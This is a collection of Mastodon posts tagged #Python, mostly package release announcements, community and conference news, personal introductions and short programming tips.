Classes in #Python can define their own formatting mini-languages for f-strings by defining __format__. Full details: https://nedbatchelder.com/blog/202204/python_custom_formatting.html
@tikhonov_a@mastodon.social
Just published #mashumaro 3.15 with the #JSONSchema plugin system! 🎉 I guess the next thing will be plugins for serialization and deserialization. Who knows, maybe this will be my ticket to strict validation and speeding up with #cython. On a side note, I believe I’m among the last developers to discontinue support for #python 3.8.
@krita@masto.es
Buenas!
Llevo varios días bicheando en esto del #fediverso y ando bastante asombrada de no haber sabido antes de su existencia.
A modo de #presentación decir que suelo usar las redes en modo "voyeur": busco información interesante (o simplemente pasar el rato y dejarme sorprender) y no suelo postear mucho; así que no esperéis demasiado contenido por mi parte, pero si algun que otro like (se dice así por aquí?).
Estoy empezando a aprender cositas de #python #git #pandas #sql y #data en general. Cuanto más aprendo más veo que no tengo ni idea de nada, pero me gusta leer tips&tricks y artículos (nivel principiante).
Me gusta #cocinar, pero me gusta aún más comer así que si tienes #recetas o recomendaciones de #restaurantes en #Madrid (o cualquier otra ciudad) serán más que bienvenidas.
Un saludo!
@yossarian@infosec.exchange
PyPI's support for PEP 740 now includes GitLab, extending support beyond the initial scope (which was GitHub). that means that, if you're a GitLab CI/CD user, you can now upload attestations to PyPI and the index will verify and re-serve them!
docs here: https://docs.pypi.org/attestations/producing-attestations/#gitlab-cicd
@al1r4d@pegelinux.top
My question is pretty simple. I want to create my own social media based on activitypub for learning purposes.
I usually prefer C or Python for programming languages, even though I'm not an expert.
The question is, would someone create a list or to-do list? What should I do?
@ThePSF@fosstodon.org
Support PyOhio, a PSF Fiscal Sponsoree, and help #PowerPython! 🐍 This annual, regional PyCon brings together #Python users from the Midwest, with content for all levels—from beginners to experts.
https://psfmember.org/civicrm/contribute/transact/?reset=1&id=45
@slab_bulkhead@mastodon.online
Re-#introduction. Old #millenial in #SoCal, with connections to #PNW. #WebDev by day (#Python mostly), #SteamDeck gamer by night, #cat host at all hours as they see fit. Into #tech, #linux, #electricvehicles, #baseball, #music.
Cat tax:
@danzin@mastodon.social
I have just republished @vstinner's fuzzing tool fusil:
https://github.com/devdanzin/fusil
It's a library for creating fuzzers. I've been using it to find crashers in #CPython (23 found so far) and #PyPy (15 found so far).
The #Python #fuzzer works by generating random code with function/method calls using random arbitrary (and interesting) values, then recording code execution and matching specific error messages.
I'm only #fuzzing Python, feel free to use it for whatever you want ;)
cc @cfbolz
@smach@masto.machlis.com
The DicePlot #RStats 📦 “allows you to create visualizations (dice plots) for datasets with more than two categorical variables and additional continuous variables.” Also pyDiceplot for #Python. Under active development.
https://github.com/maflot/Diceplot
https://dice-and-domino-plot.readthedocs.io/en/latest/
#DataViz @rstats
@nedbat@hachyderm.io
For loops in #Python can assign to more than just plain names. Any assignment target is allowed:
@negative12dollarbill@techhub.social
I asked the other day how to auto-follow everyone who follows you on #Mastodon, so here you go, this works.
First you need to create an app which has access to your account (you do that at <your instance>/settings/applications) then you'll have a token.
Then this #Python script should do it:
@mstheasaurus@bne.social
Hey! I'm Thea. I teach digital technologies / mathematics up in Meanjin / Brisbane. In the process of making a website to share all of my resources and lessons (mainly #Python related).
@pyladiesdub@mastodon.ie
First post! We've moved from xitter and will be posting here, IG/FB and LinkedIn.
Bear with us as we transition over.
Oh, we'll be at #PyConIE tomorrow, find @whykay at the #community tables for chats, stickers and # zines!
@show@fedi.python-podcast.de
Neue Episode: @cfbolz, @shezi @oryon_dominik und @jochen unterhalten sich über Python 3.13: https://python-podcast.de/show/python-313/ #Python #pypy
@tikhonov_a@mastodon.social
I'm curious what are all those people who got used to shorten to t.Callable, t.Mapping, t.Coroutine etc. going to write instead in the post-python 3.9 era when these imports will eventually be removed?
@tikhonov_a@mastodon.social
IDE is my enemy on the way to not use deprecated aliases from typing module in #python. Just thinking out loud.
@stefan@stefanbohacek.online
If you run a Mastodon server you probably already know about some of the existing tools for collectively managed domain blocks.
As an alternative, I created a simple Python script that lets you copy public domain blocks from servers you trust for an easy import.
https://stefanbohacek.com/project/mastodon-domain-block-exporter-script/
Keeping your community safe should be a number one priority!
#fediverse #FediAdmin #mastodon #MastoAdmin #DomainBlocks #safety #community #python #opensource
@rye@ioc.exchange
Write a Python program that creates a new database in a file called original.db containing a single table called Velocity, with a single field called reading, and inserts 100,000 random numbers between 10.0 and 25.0
#python #thinkinginPython #programming #thinking #design #softwareCommunity
@tikhonov_a@mastodon.social
If you have a large tree-structured #python project in @pycharm where you’ve changed or added many files, you can make it easier to find the modules that need unit tests written or updated by enabling the option to highlight directories with changes. Go to Version Control → Confirmation → Highlight directories that contain modified files in the Project tree. Don’t forget to add new directories or files to your future commit, otherwise they won’t be highlighted.
@talkpython@fosstodon.org
@gytisrepecka@social.gyt.is
Attention Python developers who love Bash!
Open source contribution: super happy to have my shell prompt customization theme merged into Bash-it
Now everyone can change their prompt from dull:
gytis@gytis-laptop:~/python_venv/general39$
To something like this, displaying version in active Python virtual environment:
┌──[2024-11-06 17:59:18] 🐧 gytis 💻 gytis-laptop 🐍 3.9.20 on [general39] 📂 general39
└>
And of course work with in visually pleasant yet non-intrusive manner, seeing active branch and status:
┌──[2024-11-06 18:02:47] 🐧 gytis 💻 gytis-laptop 📂 bash-it on 🌵 theme-inretio ✓
└>
If you are not using any Bash prompt customization yet, install Bash-it now and just switch to inretio
theme by adding following to your profile config:
export BASH_IT_THEME='inretio'
Do you use any terminal prompt customizations already?
@dongheena@fosstodon.org
Today, I organized the CPython sprint as the extension event of PyCon KR 2024: https://2024.pycon.kr
Many people in Korea participated in the sprint, and people submitted around 8 PRs during the sprint :)
I hope people have experienced the joy of contributing to the OSS project.
@paulox@fosstodon.org
“Python becomes the most used language on GitHub, overtaking JavaScript after a 10-year run as the most used language. This is the first large-scale change we’ve seen in the top two languages since 2019…” 🏆
https://github.blog/news-insights/octoverse/octoverse-2024/#the-most-popular-programming-languages
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released! PrettyTable 3.12 🚀
https://pypi.org/project/prettytable/3.12.0/
🪑 Add new themes to ColorTable
🪑 Drop support for Python 3.8
🪑 Deprecate hrule and tableStyle constants
🪑 Use SPDX license identifier
🪑 Add lots of type annotations
🪑 Generate __version__ at build to avoid slow importlib.metadata
🪑 Release to PyPI using Trusted Publishing and PEP 703 digital attestations
🪑 Fix drawing headerless coloured tables with title
🪑 And more!
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released! Python Docs Sphinx Theme 2024.10 🚀
https://pypi.org/project/python-docs-theme/2024.10/
📚 Add support for Python 3.13
📚 Drop support for Python 3.8
📚 Add script for handling translations
📚 Generate digital attestations for PyPI (PEP 740)
This is the theme used by docs sites such https://docs.python.org and https://typing.readthedocs.io
#Python #docs #Sphinx #PythonDocsTheme #PythonDocsSphinxTheme #PEP740
@pythonpizza@fosstodon.org
#Python Pizza is coming to #Brno! 🍕
When? Feb 22, 2025
Where? Clubco, Brno
The Call for Proposals is open until November 20, but we are doing a rolling CfP so we may accept talks before the end of the #CfP period!
Find all the information here: https://brno.python.pizza/
https://brno.python.pizza/
@ayrtonfreeman@mastodon.sdf.org
In which #python multiverse are you currently in?
Option | Voters |
---|---|
pip | 3 (50%) |
poetry | 2 (33%) |
uv | 1 (17%) |
@tikhonov_a@mastodon.social
Removing support for #python 3.8 in mashumaro is like a therapy for me.
@pypodcats@fosstodon.org · Reply to PyPodcats's post
@pyconasia @mariatta I found role models and a place where I belong when I attended PyLadies lunch. I see people who look like me. Women who code. Asian women who code.
@pypodcats@fosstodon.org · Reply to PyPodcats's post
@pyconasia @mariatta
I was told that being a woman is just being a bride.
But I was rebellious and I went to study.
@coffeewasmyidea@fosstodon.org
The latest release of uv (0.4.27) now supports `[dependency-groups]` (PEP 735), yay! 👏 #Python
@mariatta@fosstodon.org
PSF membership drive at PSF booth at PyCon APAC.
Welcome the new PSF members from Indonesia. 👏🏻
@mborus@mastodon.social
@astrojuanlu@social.coop
The incompatibility between PyYAML 5.4.1 and Cython 3 will haunt the #Python ecosystem for years to come, it seems
@pillow@fosstodon.org
Pillow just crossed the 3 billion downloads mark on PyPI! 🚀📈🚀📈🚀📈
Total downloads: 3,001,836,264
@pydatamadrid@masto.ai
¡Nos vemos hoy en The Bridge! 🛒
Hacemos reunión conjunta con MLOps Community Madrid.
El gran Alejandro Vidal nos hablará sobre su desarrollo de una feature store en Python, e Ignacio Peletier y Jesús Lópeznos hablarán sobre métodos psicométricos para evaluar el nivel de inglés.
Inscripciones en nuestro Meetup o en el Luma de MLOps Community Madrid:
@tom@tomkahe.com · Reply to Tom Casavant's post
@ohgo small update to the wrapper, I introduced the ETag property that ohgo uses to check if results have changed since the previous search.
@mattesilver@101010.pl
Today I've released Lapidary 0.12.0 - a python DSL for Web API clients.
This version adds a small paging helper, support for middleware and some bug fixes.
Now we can work with Web API that promises in OpenAPI `Content-Type: application/json; version=2.4.42` but only sends back `application/json` 🤷
@astrojuanlu@social.coop
I know several #Python *frameworks* that started its life building upon existing *libraries*.
Examples:
Werkzeug ➡️ Flask
Starlette ➡️ FastAPI
Omegaconf ➡️ Hydra
Do you know of famous frameworks that *gave birth* to, or spun-off, smaller, more reusable library components?
Boosts appreciated!
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released! stravavis 0.5.0 🚀
Create artistic visualisations with your exercise data.
https://pypi.org/project/stravavis/0.5.0/
🚴 Drop support for EOL Python 3.8
🏃 Skip segments in GPX tracks with empty trkseg
🛶 Fix pandas warnings
@pyconau@mastodon.pycon.org.au
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: flake8-implicit-str-concat 🚀
🎱 Add support for #Python 3.12-3.13, drop 3.7-3.8
🎱 Switch from Flit to Hatchling + hatch-vcs for dynamic versioning
🎱 Release to PyPI with Trusted Publishing
https://pypi.org/project/flake8-implicit-str-concat/0.5.0/
This #Flake8 plugin helps tidy up after Black:
$ cat 1.py
s = ('111'
'222')
$ black 1.py
reformatted 1.py
All done! ✨ 🍰 ✨
1 file reformatted.
$ cat 1.py
s = "111" "222"
$ flake8 1.py
1.py:1:10: ISC001 implicitly concatenated string literals on one line
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: blurb 1.3.0 🚀
blurb is the CLI we use for managing CPython's news/changelog entries.
🗞️ Add support for Python 3.13
🗞️ Drop support for Python 3.8
🗞️ Generate digital attestations for PyPI (PEP 740)
🗞️ Allow running blurb test from blurb-* directories by
🗞️ Add version subcommand
🗞️ Generate __version__ at build to avoid slow importlib.metadata
https://pypi.org/project/blurb/1.3.0/
#Python #CPython #blurb #release #CLI #changelog #news #PEP740 #Python313 #Python38
@daniel@andrlik.org
Setting up a new home on a personal instance, just like one of the big kids. 😂
Hi, I’m Daniel. I’m a Product exec, SFF writer, developer, voice actor, TTRPG player, and the producer/GM for the Numenera actual play podcast, Explorers Wanted.
I talk a little bit about all of the above with occasional shitposts for spice.
#introduction #sff #writer #podcaster #ttrpg #numenera #CypherSystem #python #django
@nrennie@fosstodon.org
I've recently started compiling a list of data science related resources that I use or recommend frequently! 📊
@hugovk@mastodon.social
Two packaging PEPs accepted today!
PEP 735 – Dependency Groups in pyproject.toml, by Stephen Rosen
https://peps.python.org/pep-0735/
PEP 753 – Uniform project URLs in core metadata, by @yossarian
https://peps.python.org/pep-0753/
@viktor@fosstodon.org
If you're an #opensource maintainer, how have you tried monetizing or earning income with your project?
Donations, paid support, crowdfunding, etc.
Would love to learn more. Working on my presentation for #AllThingsOpen2024 🙂
Boosts highly appreciated 🙏
@mgorny@treehouse.systems
And once again some person forked an unmaintained #Python package, and published a new version on #PyPI using a different name.
Of course, what they didn't do was:
• updating any of the visible metadata to indicate that it's a fork
• updating URLs to point to the actual fork
• requesting name transfer
And of course, now what we have instead are two different PyPI packages installing the same Python import name, with dozens of packages requiring the metadata to use the original name, and one package requiring it to use the new name.
And I'm too tired to even start working this shit around to bump the package introducing the conflicting dependency in #Gentoo.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: norwegianblue 0.19.0 🚀
🦜 Drop support for Python 3.8
🦜 Generate digital attestations for PyPI (PEP 740)
🦜 Test with tox-uv
🦜 Lint with pre-commit-uv
https://pypi.org/project/norwegianblue/0.19.0/
norwegianblue is a CLI to show EOLs from https://endoflife.date
@Miikka@mastodon.social
Time for #introduction.
Professionally I'm a software developer and that's a topic I care about a lot. How to do it well, how to do it sustainably? I've worked on web backends for a long time and now I'm focused on databases. Used to be active in the #clojure community; now I'm using #python and #rust.
I read a lot, or at least regularly, (classics/literary fiction/sci-fi) and blog a bit. I like #hiking and paddle a #kayak. A year ago I got very into (indoors) #bouldering.
@kwonhan@fosstodon.org
we are looking for the PSF Community Events Coordinator role!!
#python #PSF
https://jobs.pyfound.org/apply/LtMhpzXuBX/Community-Events-Coordinator
@Muddobbers@infosec.exchange
Hello! Let's get my #introduction going here.
Professionally right now I work as an SME in a #PenTesting group for a regulatory company, but it's really not my bag of tea in the long run. That I can feel. I much prefer to be in an investigatory and tool-making field for something related to #DFIR . I was especially happy doing #ReverseEngineering of #malware .
I'm into reverse engineering, assembly languages like #IA32 and recently #ARM / #ARM64, programming (old classics like C/C++ / #Python but learning the newer stuff like #RustLang ), big into #forensics, #RasPi and #Arduino projects and such.
Still trying to figure out what I am career wise, though, like job title and such! It's all great fun to me, just haven't found the direct niche to sink into.
Hobby wise, I'm also really into #GuildWars2! Long time gamer at heart.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: pepotron 1.3.0 🚀
🔩 Generate digital attestations for PyPI (PEP 740)
🔩 Drop support for Python 3.8
🔩 Generate __version__ at build to avoid slow importlib.metadata
🔩 Test on CI with uv
https://pypi.org/project/pepotron/1.3.0/
Pepotron is a CLI for opening PEPs in your browser. For example, try:
$ pep 8
$ pep 3.14
$ pep dead batteries
$ pep calendar
@Infrapink@mastodon.ie
So apparently I was supposed to make an #introduction post. Oh well, better late than never.
I'm an early #millennial, and I'm further left that most people on most issues.
I use #GNU/#Linux, currently satisfied with #Manjaro.
Also a big #Nintendo guy because all have sinned and fall short of the perfection of #Stallman.
I'm a somewhat active #TVTropes contributor and I sporadically work on a #calendar converter written in 93% #Python and 7% #Fortran.
I'm pretty obsessed with calendars.
@bmispelon@mastodon.social
Today I find myself having to parse ~1 million SQL queries (of various complexity) using #python
Here's a runtime of the few options I tried, in case anyone is interested (incidentally, in the order in which I tried them):
- sqlparse: 1h estimated (I killed the process before it finished)
- sqlglot: finished in about 15 min, failed to parse about 900 queries.
- sqloxide: finished in 2 minutes (!!!), failed to parse 10 queries. 🏆
@box464@mastodon.social
I know I'm singing to the choir here but as someone that hasn't used Python in my day job until recently, I continue to be happy with its extensibility and usefulness.
It is so obviously built by real people that use it to solve their everyday problems. Parsing files, creating reports, evaluating messy data. Wish I had this in my toolbox sooner.
@tek@todon.eu
#python question: is there any library allowing to have a precise JSON formatting? Like indentation but also handling some compact data that can be specified? (neither json nor pprint provide that)
@webology@mastodon.social
🎉 I published my first package on pypi using UV today.
I didn't spend any time to figure out why ~/.pypirc wouldn't work, but instead my steps were:
1. I created a new publishing token on pypi
2. set `UV_PUBLISH_USERNAME` and `UV_PUBLISH_PASSWORD` locally
3. `uv build`
4. `uv publish`
5. Then I told you about it
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0a1 🚀
https://discuss.python.org/t/python-3-14-0-alpha-1/68039
🐍 PEP 649: deferred evaluation of annotations
🐍 Improved error messages
🐍 And more!
@treyhunner@mastodon.social
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: pypistats 1.7.0 🚀
📈 Generate digital attestations for PyPI (PEP 740)
📉 Drop support for EOL Python 3.8
📈 Generate __version__ at build to avoid slow importlib.metadata
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: @pillow 11.0.0 🚀
🎨 Add support for Python 3.13, including experimental freethreaded wheels!
🖌️ Drop support for EOL Python 3.8
🎨 Remove a whole load of deprecations
🖌️ Add, change and fix a whole lot more stuff
🎨 Add some more deprecations, to be removed in Pillow 12 next October
🖌️ More info at https://pillow.readthedocs.io/en/stable/releasenotes/11.0.0.html
🎨 And even more at https://github.com/python-pillow/Pillow/releases/tag/11.0.0
@pillow@fosstodon.org
🐍🚀🎨 #Pillow 11.0.0 has been released!
* Added support for #Python 3.13, including experimental #freethreaded wheels!
* Dropped EOL 3.8
* Removed PSFile, PyAccess and Image.USE_CFFI_ACCESS, TiffImagePlugin IFD_LEGACY_API, and support for WebP 0.4
* A bunch of new deprecations, to be removed in 12.0.0 in October 2025
* Default resampling filter for I;16* image modes has changed to Image.BICUBIC
* XMP data can be saved to JPEG and MPO files
https://pillow.readthedocs.io/en/stable/releasenotes/11.0.0.html
@show@fedi.python-podcast.de
Neue Episode: @shezi , Dominik und @jochen unterhalten sich über Arrays und Sequenzen: https://python-podcast.de/show/arrays-und-sequenzen/ #Python
@smallsco@oldbytes.space
Hi, 👋 I'm Scott! #Introduction
I'm a technology enthusiast from Vancouver Island, BC, Canada. By day I build software used to run #Genomics labs in #Python. I've also worked with #Lua and #PHP in the past. I've worked professionally as a web developer for fifteen years but I've been programming since I was eight (started with #HyperCard)!
I love #RetroComputing, especially old #Apple / #Mac stuff. I own a IIfx, an SE, and a IIgs which I use for #RetroProgramming and #RetroGaming. I even wrote a Mastodon app, #Macstodon, for vintage Mac OS!
I recently picked up an #Amiga #A500 as well, which I'm still learning how to use.
When I'm not #programming at work or on side projects I enjoy #gaming and watching #anime.
I also have a passion for #Travel, and have visited four continents and over twenty-six countries! My profile picture is from a visit to Cuba in 2019.
My other interests include #Camping, #Coffee, #Dogs, #Reading, and #TableTennis.
Nice to meet you all!
@ngaylinn@tech.lgbt
Time for a new #introduction
I'm a #ComputerScience #PhD candidate at the #University of #Vermont (#UVM). There, I'm doing #AI and #ALife #research with Josh Bongard and many others. Themes include #evolution, #evolvability, innate #intelligence, #cells, #bodies, and #endosymbiosis.
I believe #science should be open and accessible, so I write about my ideas on a #Wordpress #blog, review relevant #books on #Goodreads, and publish my source code on #Github (links in my profile).
I'm passionate about #diversity, #socialjustice, #sustainability, #ethics, #philosophy, and all things #tech. In my personal life, I love #food, #cooking, #reading, #yoga, #hiking, #art, and #StarTrek.
I worked for many years on #Google #Search as a #software #engineer, #techlead, and #manager. I used to be proud of that, but lately I have concerns.
My favorite #programming language is #Python, but I know many more, and lately have been quite enjoying #CUDA #GPU programming in #cplusplus.
@siddhantgoel@mastodon.social
Keeping Beancount importers up to date often feels like an ongoing game of cat and mouse. Banks can rearrange their CSV exports at any time, leaving maintainers scrambling to update their importers — essentially CSV parsers — to keep up.
On a brighter note, I just published a newer version of beancount-n26. 🤷🏻♂️
@bitprophet@social.coop
I'm on Mastodon! Here's a brief #introduction (though https://bitprophet.org/bio/ will be more in depth)!
🐍 Longtime #Python developer & maintainer of various popular libraries (Fabric, Paramiko, Invoke, &c)
💻 Longtime #Linux (#Unix) #sysadmin & #DevOps engineer (so many distros, currently experimenting with #NixOS)
😻 Owned by 2 #cats (and grew up with #dogs)
🇺🇸🗽 Resident of #NewJersey
🌹🍞 Bit of a #leftist and #antifascist who still votes #Democrat when necessary
⚔️🚀 #SFF fan
& much more! ✨
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: #cherry_picker 2.3.0 🚀
This tool creates backports for CPython when the Miss Islington bot can't, usually due to a merge conflict.
🍒 Add support for #Python 3.13, drop EOL 3.8
🍒 Resolve usernames when remote ends with a trailing slash
🍒 Optimize validate_sha() with --max-count=1
🍒 Remove multiple commit prefixes
🍒 Handle whitespace when calculating usernames
🍒 Publish to PyPI using #TrustedPublishers
🍒 Generate #PEP740 attestations
🍒 And more!
@ari@ak.ari.lt
@bruno@rocha.social
It was never so easy to get a new #python interpreter installed
uv self update
uv python install 3.13
uv run -p 3.13 python
Python 3.13.0 (main, Oct 8 2024, 01:04:00) [Clang 18.1.8 ] on linux
>>>
@kajord@scicomm.xyz
I have a doctorate in #geophysics and #oceanography and now work at Planet Labs PBC (planet.com) in #remotesensing and #software development. Previous research in #marinegeophysics and #tectonics. Open source #geospatial software, original author of #geopandas (though no longer an active maintainer). Professional interests in #scientific #computing #scicomm #dataviz #python #foss
Personal interests #backpacking #hiking #gravelbike #mountaineering #nordic #skiing
Inland NW
@ditsch42@troet.cafe
New job and new place means new #introduction post!
Hi, I'm Doro!
I'm a #Physics PostDoc at the Max Planck Institute of Quantum Optics near #Munich, Germany! I play with ultracold atoms in lattices of laser light to simulate other quantum systems!
I'm also a fan of open source software (#FOSS), #Linux, and I code in #python for work and for fun!
I love SciFi in all forms, especially #StarTrek and #DoctorWho.
No tolerance for discrimination of any kind.
@pythoncerrado@pynews.com.br
👏Uma salva de palmas para a @ThePSF 🐍 por patrocinar a #PythonCerrado2024! 👏
#Python #Plone #OpenSource
@cazabon@mindly.social
I'm told I need pinned posts on my profile.
I'm a #software #engineer living in #Saskatchewan, #Canada, the middle of the prairies. I've worked in countless domains, but find #python generally useful for many of them, and have been using it for nearly 30 years.
I'm a #HouseRabbit enthusiast and have had them for more than 20 years.
Other hobbies include #electronics, #rock music / playing #guitar, writing #FreeSoftware, and enjoying novelty music & #RiffTrax / #CinematicTitanic / #MST3K.
@rozcakj@mefi.social
Who me? Just a #Maker, IT Consultant and "all-around-#nerd".
I grew up watching Saturday morning cartoons, original #StarTrek re-runs, reading #Fantasy & #SciFi (not SyFy), lots of #Lego and eventually graduated to #RPG and #tabletop gaming.
My first computer was a #Commodore Vic-20 - at school, we learned graphical #LOGO on PETS and Apple IIe's... crashed the Unisys ICON network often before getting my first PC - grudgingly - really wanted an #Amiga.
Eventually, it was time for college - I *thought* I would be heavily involved in the physical aspects of technology, circuit design, and hardware engineering - instead, I gravitated to #programming.
My first professional #programming language was #VisualBasic 1.0; eventually, jumping into Borland #Delphi 1.0 and #ObjectPascal - still dabble with #FreePascal #Lazarus, a smidge of #Java, a lot of #CSharp and some #Python. My #JavaScript is ancient...
You can find me online at - https://linktr.ee/jasonkaczor
@wagtail@fosstodon.org
Wagtail is an #opensource content management system written in #python and built on top of the @django framework. We have a growing community of contributors and we're always excited to work with new folks.
Check us out at: https://wagtail.org/
@nicd@masto.ahlcode.fi
#introduction as posts aren't migrated:
Software dev from #Tampere, #Finland. Worked on full stack #Python and #JavaScript / #TypeScript projects for 10+ years, on my free time I use #Gleam & #Elixir (hope in the future at work!).
Main hobby project is https://codestats.net/, a free programming stats project. I also enjoy #GeoCaching, #cycling, and video games.
Blog: https://blog.nytsoi.net/ (engine: https://git.ahlcode.fi/nicd/scriptorium)
Some packages:
https://hex.pm/users/nicd
Working on #SolarPanel UI.
@ThePSF@fosstodon.org
It's that time again: we're kicking off this year's Python Developers Survey in partnership with JetBrains! Contribute to the understanding of the Python community and join in the 2024 survey 🐍📝 #python #pythondevsurvey
https://survey.alchemer.com/s3/8009809/python-developers-survey-2024
@itamarst@hachyderm.io
Application developers this month: What new features can I use in Python 3.13?
Open source library maintainers this month: What new features can I use in Python 3.9?
@MadMike77@chaos.social
#Neuhier #Introduction I'm a fan of #Linux. Programming #Java and #Python and learning #Rust #RustLang. I'm into #Gaming. I like #Anime and #Manga. Got #ADHD. I'm married and father of 3 kids. Living in #Switzerland. I'm runnning a local #Hackerspace #Ruum42.
@isagalaev@mastodon.social
Ah, this is the moment where a lot of #Python folks would start realizing their use cases were perfectly well handled by multiple processes or by C libraries doing threading for them, and GIL wasn't really the problem.
(But congrats to those who really needed GIL-less Python, for sure.)
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Tablib 3.7.0 🚀
🦛 Add sparkly new Python 3.13
🦛 Drop EOL Python 3.8
🦛 Add styling to datetime, date and time values for ODS
🦛 Add styling for date/time types for XLS
🦛 Fix time and datetime export in ODS format
🦛 Avoid normalizing input twice in import_set/book
@clacke@libranet.de
pipx run uv install uv
😄
uv
is a tool written in Rust that replaces as a 95% drop-in replacement pip, pipx, pip-tools and a few other things.
So far it's looking pretty cool. It's faster, I guess, and the output is a bit neater and more "interactive" or "live".
One great thing is that you can have a globally installed uv
and it will operate correctly in whatever your current Python environment, whereas with pip-tools you always need to take care to run the one installed in the environment you're compiling the pinned dependencies for, or it will calculate python version wrong for the dependencies that are conditional on that.
@FunkyBob@chaos.social
@tom@tomkahe.com
Wrote a quick blog post about making a python wrapper for the Ohio Department of Transportation's OHGO API (and built a bot that posts random images from traffic cams around Ohio, @ohgo)
@qlp@linh.social
@timdonaghy@fediscience.org
OK, a brief #intro post!
I'm originally a physicist and studied gamma-ray bursts and their usefulness for cosmology. I used to carry a beeper to wake me up whenever our instrument detected a burst.
These days I do research in the advocacy world. At UCS I studied political interference in the work of federal scientists. I am currently the Research Manager for Greenpeace USA and focus a lot on climate and energy.
I dabble in #python, #math, #music, #books & other random things.
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: termcolor 2.5.0: ANSI colour formatting for terminal output
🚀🖥️🎨
🖥️ Added `strike` attribute
🖥️ Now generates and uploads #PEP740 attestations to PyPI
🖥️ Dropped support for oh-so-very-nearly-EOL Python 3.8
@hugovk@mastodon.social
Just released: em 4.4.0, the CLI emoji keyboard 🚀⌨️✨
✨ Upgraded to emojilib 4.0.0: "The keywords include most if not all the :shortcode: from different platforms"
✨ Dropped support for oh-so-very-nearly-EOL Python 3.8.
@faassen@fosstodon.org
I wrote a lot of code in #Python. Dynamically typed, thoroughly unit tested. I think with a pretty low bug rate. I dared big refactorings. It was like riding my bicycle without hands, and I did that for two decades.
Then in the last 6 years, I slowly stepped into modern static typing. Here I have a lot more safety features. I still write lots of tests, but maybe a few less. And I start wondering whether I would still want to refactor without types and what that means.
1/2
@S_Conradi@mathstodon.xyz
Roots of parametric polynomials.
Made with #python, #matplotlib, #numpy and #sympy.
@astrojuanlu@social.coop
¡Arranca la #PyConES2024 en Vigo!
@tyldurd@framapiaf.org
As a big fan of #algorithms... This is like Christmas!
https://github.com/TheAlgorithms/Python
@tyldurd@framapiaf.org
EO-Tools version 2024.9.2 is out! It is now easy to apply the well-known Goldstein filter to reduce phase noise.
Here is a tutorial: https://eo-tools.readthedocs.io/en/latest/s1-goldstein-phase-denoising/
#EarthObservation
#RemoteSensing
#SyntheticApertureRadar
#Interferometry
#Sentinel1
#python
#geospatial
#InSAR
@mgorny@treehouse.systems
Rewriting #Python packages in #RustLang is going great, right?
That's why for almost a year now #CEPH users have a problem, because Rust parts of Cryptography are clashing with Rust parts of BCrypt. But it's great!
And the best thing is Cryptography authors' attitude — #PyO3 has to deal with it, let's close the bug and lock comments. We really should have more critical packages like that.
https://bugs.gentoo.org/920906
https://github.com/pyca/bcrypt/issues/694
https://github.com/pyca/cryptography/issues/9016
@moof@cupoftea.social
Hi! I’m Moof! And as I’ve changed to this server, an #introduction is in order
I'm #British-ish, and speak (and write in) #en, #es, #fr & #cat. I live in #Barcelona, and I'm #queer (he/him)
I programme boring things for interesting businesses centring around #Logistics, mostly in #Python on #Azure these days.
I filter my life through #ADHD. I am an #introvert, and I drink oodles (and oolongs) of #tea both in mugs and #GongFu style.
You can also expect me to get excited round #Eurovision time.
@wlonk@mastodon.transneptune.net
I think it's time for a new pinned intro post. So here are some of my interests, in rough groupings:
- #baking #sourdough #bread and #cooking generally
- #tea
- #FountainPens
- #JaneAusten and #Regency
- #sailing and #TallShips
- #drawing
- #RPGs and #games and #GameDesign
- #programming (especially with #Rust and #Python)
- #urbanism
- #WeightLifting and #archery
- #Judaism, #Quakerism, and #Buddhism
- #singing and #FolkMusic
Also I'm always interested in whatever you're geeking out about!
@astrojuanlu@social.coop
🚄 Madrid - Vigo 🚄 camino a la #PyConES2024 #python
@gerardcl@fosstodon.org
New [renfe-cli](https://github.com/gerardcl/renfe-cli) minor release [v5.1.0](https://github.com/gerardcl/renfe-cli/releases/tag/5.1.0) which provides support for both "Horarios de alta velocidad, larga distancia y media distancia" (default option, as in the web) and "Renfe Cercanías" GTFS datasets. #rustlang #Python #renfe #cercanias
@mttaggart@fosstodon.org
ICYMI, I just launched a project that's been several months in the making! #Python for Defenders, Pt. 2 is designed to empower #BlueTeam security professionals with the tools of programming and data science to better analyze their telemetry and forensic evidence.
This paid course ($14.99 USD) supports the work of @thetaggartinstitute to provide high-quality, low-cost technology training to people around the world.
I hope you'll check it out! https://taggartinstitute.org/p/python-for-defenders-pt2
@python_es@masto.es
🙏 ¡Gracias a la Xunta de Galicia por colaborar con #PyConES2024! 🌟 Su apoyo impulsa la innovación y fomenta el crecimiento del ecosistema tecnológico en Galicia 🌐💪 ¡Juntas seguimos construyendo comunidad y potenciando el talento local! ❤️
@gianarb@hachyderm.io
I feel like I do not have a primary #scripting language and I don't like this feeling.
Probably the smartest decision is to embrace that #python is the winner
@movingpandas@fosstodon.org
@underdarkGIS@fosstodon.org
Hello Fosstodon,
Greetings from #Vienna, #Austria.
I'm a #DataScientist working on #SpatialDataScience at the #AIT. I serve on the #QGIS and #MobilityDB PSCs and am the lead developer of @movingpandas, a #Python library for #MovementDataAnalysis.
@tfardet@fediscience.org
Just released version 0.4 of mpl-chord-diagrams with support for directed chords 🎉
https://codeberg.org/tfardet/mpl_chord_diagram
https://zenodo.org/record/6583471
If you're looking for a simple library in #Python to make #chordDiagrams with #matplotlib, then this is for you!
You can simply install it via pip.
@chrisjrn@social.coop
Random request: Can anyone find me a link to a FOSS bug report (good, but not essential if it's in a mozilla product) that stayed open for a ridiculously long time (years?), but did eventually end up with a fix? #Python #FOSS #OpenSource
@jbz@indieweb.social
— Loris Cro
